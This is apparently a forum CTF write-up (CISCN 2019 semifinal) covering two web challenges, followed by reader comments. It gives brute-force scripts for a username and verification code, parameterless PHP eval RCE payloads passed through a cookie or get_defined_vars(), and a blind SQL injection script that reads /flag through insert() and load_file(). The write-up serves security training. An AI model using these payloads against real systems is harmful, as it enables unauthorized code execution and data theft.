

部分题目下载地址，有的不完整：[点我点我](#)

## web 1

考点：无参函数的 RCE

在注释中发现了 forgetpassword.php 页面

```
<link rel="stylesheet" type="text/css" href="./files/jquery.ui.all.css">
</head>
<body class="login" mycollectionplug="bind">
  <div class="login_m">
    <div class="login_logo">
      
    </div>
    <div class="login_boder">
      <div id="login_model" class="login_padding">
        <form action="auth.php" method="post">
          <h2>用户名</h2>
          <label><input type="text"/></label>
          <h2>密码</h2>
          <label><input type="password"/></label>
          <!--<p class="forgot"><a id="iforgot" href="forgetpassword.php">Forgot your password?</a></p>-->
          <div class="rem_sub"><input type="checkbox"/></div>
        </form>
      </div>
      <div id="forget_model" class="login_padding" style="display:none">
        <br>
        <h1>Forgot password</h1>
        <br>
      </div>
    </div>
  </div>
</body>
```

打开 forgetpassword.php，要求输入一个用户名，尝试用户名爆破，结果为 admin123

```
import requests

url = "http://127.0.0.1/ciscn/web1/useri.php"

response = "■■■■■■■"

f = open("./username.txt", "r", encoding="utf-8")

for line in f:
    line = line.strip()

    data = {
        "user_name" : line,
    }

    r = requests.post(url=url, data=data)

    if response in r.text:
        continue
    else:
        print(line)
        break
```

输入 admin123 之后跳转到 useryzm.php 页面

密保手机: 18888888888(四位数验证码已发送! )

验证码:

提交



提示验证码经过 base64 加密，而且验证码是 4 位的数字，写脚本爆破一下，结果验证码为 MTQyMw==

四位数字生成

```
for i in range(0,10000):
    s = str(i).zfill(4)
    print(s)
    f = open("num.txt",'a')
    f.write(s)
    f.write('\n')    #■■■■■■■■
```

爆破密码

```
import requests
import base64

url = 'http://127.0.0.1/ciscn/web1/yzmi.php'

f = open('./num.txt', 'r', encoding="utf-8")

response = "■■■"

for line in f:
    line = line.strip().encode('utf-8')
    line = base64.b64encode(line)
```

```
data = {
    "yzm" : line.decode('utf-8'),
}

r = requests.post(url=url, data=data)

if response in r.text:
    continue
else:
    print(line)
    break
```

输入后获得密码 f4h1l0t0j2g5b1m0a0m0a3d2d0

---

你的密码是f4h1l0t0j2g5b1m0a0m0a3d2d0

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返回 index.html 输入账号密码，获得新提示，但是这里忘记复制数据库了，就直接跳到下一步吧，访问 mDjNaF.php

---

登录成功，但是flag不在这里哦，试试phpmyadmin

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mDjNaF.php 页面

```
<?php
if('; ' === preg_replace('/[^\W]+\((?R)?\)/', ' ', $_GET['code'])) {
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}
```

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相同的题目：<https://www.jianshu.com/p/7355a5ab4822>

看一下正则，`preg_replace('/[^\W]+\((?R)?\)/', ' ', $_GET['code'])`，`\W` 匹配任意字母和数字，`(?R)?` 重复整个模式，合在一起类似于匹配 `x(y(z()))` 样式的，且不能存在参数，输入 `phpinfo()` 可以查看 `phpinfo` 页面

接下来就是构造无参数函数进行 RCE 了，想到可以更改 header 中的属性和值，使用无参数函数获取 header 处的值，达到 RCE 的目的。

对于 Cookie 属性，我们可以随意更改，`session_id()` 函数可以获取 `PHPSESSID`，如果没有开启 session 可以使用 `session_start()` 函数。由于不能带参数，我们可以将命令转化为 hex 再用 `hex2bin()` 函数转化。

payload：

```
?code=eval(hex2bin(session_id(session_start())));
// echo 'peri0d';
Cookie: PHPSESSID=6563686f2027706572693064273b
```

Request

Raw Params Headers Hex

```
GET
/ciscn/web1/mDjNaF.php?code=eval(hex2bin(session_id(session_start())));
HTTP/1.1
Host: 172.27.137.145
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:66.0) Gecko/20100101
Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: PHPSESSID=6563686f2027706572693064273b
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```

Response

Raw Headers Hex

```
HTTP/1.1 200 OK
Server: nginx/1.11.5
Date: Wed, 26 Jun 2019 09:21:44 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.6.27
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate,
post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 10

peri0d
```

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还可以自己传参达到 RCE，`get_defined_vars()` 函数返回所有已定义的变量列表，然后利用提取位置的函数就可以实现 RCE

payload：`?code=eval(end(current(get_defined_vars())));&a=var_dump(scandir('../'))`

Request

RawParamsHeadersHex

GET /ciscn/web1/mDjNaF.php?code=eval(end(current(get\_defined\_vars())));&a=var\_dump(scandir('../')); HTTP/1.1 Host: 172.27.137.145 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0

Response

RawHeadersHex

HTTP/1.1 200 OK Server: nginx/1.11.5 Date: Wed, 26 Jun 2019 10:16:50 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.6.27 Content-Length: 288  
  
<br /> <b>Strict Standards</b>: Only variables should be passed by reference in <b>D:\phpStudy\WWW\ciscn\web1\mDjNaF.php (6) : eval()'d code</b> on line <b>1</b><br /> array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(4) "flag" [3]=> string(4) "web1" }

web 4

- 考点 : insert() 盲注
- 一个登录页面

Login

username:

password:

login

- game start
- username or password error
- 试一试万能密码 admin'# , 登录成功 , 并给出提示

# Login

username:

password:

game start

login success.

However, flag is in /flag

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经过 fuzz 发现过滤了空格, union, benchmark, sleep, regexp, order等很多很多关键字, 空格可以使用 /\*\*/ 绕过

给出了文件路径, 可以使用 load\_file 读取, 再与 insert() 函数结合, 使用异或, 好像可以进行盲注

- INSERT(str, pos, len, newstr)

Returns the string *str*, with the substring beginning at position *pos* and *len* characters long replaced by the string *newstr*. Returns the original string if *pos* is not within the length of the string. Replaces the rest of the string from position *pos* if *len* is not within the length of the rest of the string. Returns NULL if any argument is NULL.

```
1 mysql> SELECT INSERT('Quadratic', 3, 4, 'What');
2         -> 'QuWhattic'
3 mysql> SELECT INSERT('Quadratic', -1, 4, 'What');
4         -> 'Quadratic'
5 mysql> SELECT INSERT('Quadratic', 3, 100, 'What');
6         -> 'QuWhat'
```

This function is multibyte safe.

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insert((select(load\_file('/flag'))),2,255,'') 即在 flag 中, 从第 2 个字符到第 255 个字符替换为空字符, 即只显示第 1 个字符。insert((select(load\_file('/flag'))),3,255,'')把第 3 个字符到第 255 个字符替换为空字符, 即只显示前面两个字符。

脚本如下

```
import requests

url = 'http://172.27.137.145/ciscn/web4/index.php'

# payload = "admin"^(select('f')>(insert((select(load_file('/flag'))),2,255,'')))#"

temp_list = []

flag_list = []

for i in range(2,255):
    payload_1 = "">(insert((select(load_file('/flag'))),"+str(i)+" ,255,''))#"
    flag = ''.join(flag_list)
    temp_list.clear()
    for j in range(32, 127):
        payload = "admin"^(select('"+flag+chr(j)+payload_1
        print(payload)
        data = {'username' : payload,}
        r = requests.post(url=url, data=data)
```

```

        if 'success' in r.text:
            temp_list.append(chr(j))
    try:
        flag_list.append(temp_list.pop())
    except:
        break
print(''.join(flag_list))

```

```

admin'^((select('flag{I_need_a_girlfriend}o')>(insert((select(load_file('D:/1.txt'))),27,255,'')))#
admin'^((select('flag{I_need_a_girlfriend}p')>(insert((select(load_file('D:/1.txt'))),27,255,'')))#
admin'^((select('flag{I_need_a_girlfriend}q')>(insert((select(load_file('D:/1.txt'))),27,255,'')))#
admin'^((select('flag{I_need_a_girlfriend}r')>(insert((select(load_file('D:/1.txt'))),27,255,'')))#
admin'^((select('flag{I_need_a_girlfriend}s')>(insert((select(load_file('D:/1.txt'))),27,255,'')))#
admin'^((select('flag{I_need_a_girlfriend}t')>(insert((select(load_file('D:/1.txt'))),27,255,'')))#
admin'^((select('flag{I_need_a_girlfriend}u')>(insert((select(load_file('D:/1.txt'))),27,255,'')))#
admin'^((select('flag{I_need_a_girlfriend}v')>(insert((select(load_file('D:/1.txt'))),27,255,'')))#
admin'^((select('flag{I_need_a_girlfriend}w')>(insert((select(load_file('D:/1.txt'))),27,255,'')))#
admin'^((select('flag{I_need_a_girlfriend}x')>(insert((select(load_file('D:/1.txt'))),27,255,'')))#
admin'^((select('flag{I_need_a_girlfriend}y')>(insert((select(load_file('D:/1.txt'))),27,255,'')))#
admin'^((select('flag{I_need_a_girlfriend}z')>(insert((select(load_file('D:/1.txt'))),27,255,'')))#
admin'^((select('flag{I_need_a_girlfriend}{')>(insert((select(load_file('D:/1.txt'))),27,255,'')))#
admin'^((select('flag{I_need_a_girlfriend}|')>(insert((select(load_file('D:/1.txt'))),27,255,'')))#
admin'^((select('flag{I_need_a_girlfriend}~')>(insert((select(load_file('D:/1.txt'))),27,255,'')))#
flag{I_need_a_girlfriend}

```

过滤语句：

```

if(preg_match("/union|benchmark|strcmp|locate|STRCMP|position|md5|mid|sub|concat|and|left|sleep|space|instr|conv|\s|right|c
{
    die('wafed!<br>');
}
if(preg_match("/union|position|strcmp|locate|benchmark|STRCMP|concat|md5|mid|sub|sleep|and|left|cast|space|instr|pad|conv|\s
{
    die('wafed!<br>');
}

```

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1. 12 条回复



[imti\\*\\*\\*\\*](#) 2019-07-06 18:18:16

师傅又复现web2吗

0 回复Ta



[zsx](#) 2019-07-08 15:08:21

web1根本不需要这么麻烦，扫一下目录就能到最后一步。。。然后最后一步还是RCTF2018的原题（ r-cursive ） .....

2 回复Ta

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[peri0d](#) 2019-07-11 21:46:44

[@imti\\*\\*\\*\\*](#) 2没有，copy的时候IP被ban了

0 回复Ta

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[peri0d](#) 2019-07-11 21:47:13

[@zsx](#) 谢谢大佬提醒

0 回复Ta

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[dogeziyun](#) 2019-07-17 16:23:07

[@peri0d](#) 我有web的一部分题目

0 回复Ta

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[peri0d](#) 2019-07-17 18:57:18

[@dogeziyun](#) 能不能发一下啊

0 回复Ta

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[imti\\*\\*\\*\\*](#) 2019-08-28 21:06:41

[@peri0d](#) 我有源码，看不懂

0 回复Ta

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[peri0d](#) 2019-09-05 22:30:25

[@imti\\*\\*\\*\\*](#) 能不能给我发一下，非常感谢

0 回复Ta

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[imti\\*\\*\\*\\*](#) 2019-09-11 20:10:39

[@peri0d](#) 怎么联系师傅，我github有

0 回复Ta

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[peri0d](#) 2019-09-11 21:13:53

[@imti\\*\\*\\*\\*](#) 能发一下github吗

0 回复Ta

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[imti\\*\\*\\*\\*](#) 2019-09-13 23:57:32

[@peri0d](#) <https://github.com/Imtinmin/ctf-question/tree/master/ciscn2019%E5%8D%8A%E5%86%B3%E8%B5%9B/CISCN-day1/web2>

0 回复Ta

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[imti\\*\\*\\*\\*](#) 2019-09-13 23:58:09

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